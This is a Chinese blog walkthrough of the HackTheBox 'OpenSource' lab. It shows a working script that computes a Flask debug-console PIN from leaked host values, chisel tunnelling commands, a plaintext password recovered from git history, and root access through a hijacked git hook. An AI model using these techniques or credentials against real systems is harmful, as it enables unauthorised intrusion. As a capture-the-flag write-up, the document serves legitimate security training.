HackTheBox 靶场 OpenSource

一、信息收集

1.使用nmap对目标靶机进行端口扫描

image

发现开了 22、 80 和 3000 端口。

2. 80 端口

image

查看页面:

image

download 有个压缩包:

image

是 docker 的文件。点击 Take me there:

image

是文件上传:

image

发现能上传,并且能下载下来,除此之外没有没有其他效果,不过它并没有改我的文件名,删除文件名,上传一个空文件名的文件:

image

发现报错了,看一下报错信息里有什么提示:

image

说 console 已经锁定了,要 PIN 码,输出并打印 PIN 码就能得到 shell,console? 推测大概是目录,尝试访问一下:

image

这是flask应用开启了debug模式后运行出错的页面,flask 的 PIN 码,记得BUUCTF中也有类似的 CTF题。

二、漏洞利用

关于 Flask PIN 码的生成流程可以看下这篇文章:

https://www.cnblogs.com/HacTF/p/8160076.html

生成PIN码的值由:用户名、flask.app、Flask、app.pyc、str(uuid.getnode())(mac地址)、get_machine_id() 组合获得,现在已知的:

用户名:root:

image

flask.app:总是 flask.app

Flask:总是 Flask

app.pyc:/usr/local/lib/python3.10/site-packages/flask/app.p (在报错信息中找)

image

str(uuid.getnode()), 是在 /sys/class/net/ens33/address 中;

get_machine_id() 在 /etc/machine-id 中或 /proc/sys/kernel/random/boot_id 中的值 + /proc/self/cgroup中的字符串

str(uuid.getnode()) 和 get_machine_id()需要借助 LFI 才能查看,找找 LFI:

正好下载的压缩包中有提示:

image

../ 被过滤了,同时此目录下还有个文件:

image

有个 uploads 路劲,结合这两个信息获取 str(uuid.getnode()):

image

这里需要注意的是靶机的网卡名字,一般就那几个名字,挨个试试就行。

get_machine_id() = /proc/sys/kernel/random/boot_id + /proc/self/cgroup (因为没有 /etc/machine-id):

image

image

从上图也能看出是 docker 环境,至此所需要计算 PIN 的数据都得到了,利用脚本破解,网上的脚本很多(注意 str(uuid.getnode()) 要用 mac 地址的十进制),Flask PIN 更新后脚本稍有改动,用的是 sha1,不再是之前的md5:

import hashlib
from itertools import chain
probably_public_bits = [
        'root',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
        '2485377892356',  # str(uuid.getnode()),  /sys/class/net/eth0/address
        '9aaff454-1971-4a55-9283-99619dd97f66d0e45cf868b3eac232730dc1338d481dcca0ae30587064ab0b236b5389e54a38'  # /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

运行得到 PIN 码,进入控制台:

image

提示说可以运行 python,那就写一个 python 的反弹 shell:

image

并 nc 监听:

image

连接成功,我使用 CDK 对容器进行了扫描,看有哪些可以逃逸的漏洞:

image

尝试利用:

image

都不得行,不过在 shell 中我发现一直会出现这个:

image

然后又想起来还有个 3000 端口,大概和这个有关,用 nc 进行探测:

image

发现 172.17.0.1 的 3000 端口是开着的,可是在现在的容器并不能满足访问的条件,我使用socket代理进行访问,先在docker中装一个客户端,用 chisel

在本地机上:

./chisel server --reverse --port 1235

image

在靶机的docker中:

./chisel client 10.10.14.50:1235 R:socks

image

在本地及上配置 proxychains 的配置文件,添加上 127.0.0.1:1080 :

image

用 proxychains 代理 nmap 扫一下端口:

image

开着22、80、3000端口。用 proxychains 代理 firefox 访问一下:

image

80 上什么也没有,3000 上有页面:

image

查看 Explore 发现一个 dev01 用户:

image

然而并不知道密码,不过也能想到应该在之前下载文件的 git 中,查看分支发现 git 中有两个分支:

image

目前在 public 分支中,看一下 dev 分支:

image

diff 看一下:

image

image

找到了密码:dev01:Soulless_Developer#2022。登录到 dev01:

image

/home-backup 下有东西:

image

.ssh 中有密钥:

image

下载或复制下来 ssh 连接:

image

三、提权

查看权限和SUID文件:

image

没什么发现。linpeas 跑了也没发现,上 pspy:

image

观察了一会发现隔一段时间以 root 运行一边 git,那可以更改 commit 命令的配置,往其中写入 shell,那就得到了 root,可以使用 ~/.git/hooks/pre-commit.sample 样本文件:

image

我尝试往其中写入 shell 并重命名为pre-commit:

image

image

nc 监听:

image

得到 root。

posted @ 2022-06-08 18:05  sainet  阅读(1070)  评论(0编辑  收藏  举报